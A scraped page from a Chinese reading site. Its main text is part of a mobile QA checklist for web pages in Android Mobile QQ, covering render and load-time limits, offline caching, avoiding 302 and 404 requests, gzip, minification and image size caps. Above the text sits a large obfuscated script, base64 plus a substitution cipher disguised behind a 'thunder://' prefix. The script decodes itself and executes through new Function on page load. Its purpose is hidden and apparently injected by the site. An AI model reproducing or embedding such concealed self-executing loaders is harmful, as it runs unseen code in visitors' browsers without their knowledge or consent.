当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

hei(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

7.1.1 web页面–首元素渲染&页面加载完成

0)该项检测说明:与Actiity数据采集方式相同,web页面都是借助app中的webview activity来load url,因此此处不论什么业务,Activity响应时延都是webview activity的响应时延,基本相同。因此web页面更关注的是首元素渲染-何时可以让用户知道页面开始加载了。但web页面的加载深受网络质量的影响,因此这里区分wifi和移动网络。

1) Wifi下,首元素渲染(展示到界面上)<2s,全页面数据加载完成<3s。

2)移动网络下(最差2G),首元素渲染<3s,全页面数据加载完成<10s。

特殊说明:目前android手Q,web页面的加载都是在web进程中,因此首次访问涉及起进程(耗时最后一次统计接近1s),因此1)2)的数据会有超标,需要在评估时适当放宽标准。

7.1.2 web页面-使用离线缓存

0)该项检测说明:当业务一次访问需要加载的静态资源(js/css/html/图片)>200K以上,且静态资源不经常改变,就可以考虑使用离线包(当然也可以考虑其他缓存实现方式,比如浏览器缓存)

7.1.3 web页面–按需加载

0)该项检测目的:避免无端流量浪费,列表加载时默认加载一屏(10-15条数据),在首屏渲染完成后,滑动页面触发第二屏加载。

1)检测手段:fiddler抓包查看首屏数据请求返回时的实际数据条数,分页控制在合理的间隔内。注意:某个需求开发为了用户体验速度,层提出过伪加载(一次性返回多页数据,但前端只展示一页,下拉时展示第二页),这点不行。

7.1.4 web页面–避免302请求

0)该项检测目的:302临时跳转请求,原则上没有必要,应尽量避免,因为一次跳转肯定会浪费web加载时间,但某些特殊原因有必须存在时,合流规范要求一次业务访问302跳转要<2个

1)检测手段:fiddler抓包查看业务访问所有请求的http返回状态码

7.1.5 web页面–避免404请求

0)该项检测目的:没有理由,任何情况都不允许404

1)检测手段:fiddler抓包查看业务访问所有请求的http返回状态码

7.1.6 web页面–静态文件(js/css)请求不能带cookie

0)该项检测目的:无端流量耗费、也不安全

1) Fiddler热点抓包分析请求头,js/css静态文件请求头不能带cookie(如有特殊情况,请开发说明理由)

7.1.7 web页面-(js/css/html)代码必须压缩

0)该项检测说明:资源文件尽量压缩减少流量消耗,空格/注释除了方便阅读没有任何作用,js混淆(变量名替换)在压缩js的同时也增强了分析难度。因此(js/css/html)代码必须压缩去除了空格/注释,JS文件变量名变成a/b等代替

1) Fiddler热点抓包分析or 资源文件直接PC访问下载,检查文件内容。

7.1.8 web页面- HTTP请求需经过gzip压缩

0)该项检测说明:HTTP请求压缩可进一步节省流量。

备注:但如离线包特别注意对gzip压缩的支持,出过不支持gzip导致压缩包不可用的bug。

1) Fiddler热点抓包分析,检查HTTP请求头有Accept-Encoding: gzip, deflate

7.1.9 web页面–单张图片<60K

0)该项检测说明:移动终端60K的图片目前的分辨率下就已经很清晰了,没必要浪费流量,除非满足某些人高清查看需求时,也要先用缩略图,按需主动触发加载大图

1) Fiddler热点抓包分析

7.1.10 web页面-图片大小和尺寸检查

所有的图片尺寸都控制在以下范围,720x1280(60k以内)、640x1136(50k以内)、480x800(40k以内)、190x284(15k以内)、152x182(10k以内)

7.1.11 web页面-横竖屏切换不会重新拉取数据

0)该项检测说明:未做特殊处理时,横竖屏切换导致的界面重绘会重新网络拉取web数据,浪费流量。

1)使用ATS性能监测工具,监控指定apk进程,程序稳定后,切换手机横竖屏,观察ATS是否抓到流量新增

7.1.12 web页面-静默拉取:非wifi环境流量>200K需要提醒用户

这章没有结束,请点击下一页继续阅读!0)该项检测说明:降低用户流量消耗投诉,优化体验,目前该项很少使用,前面检测项5和8都控制了首屏流量<200K,只有在这两项明确无法控制的前提下,考虑本限制是否要给用户一个合理提示。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间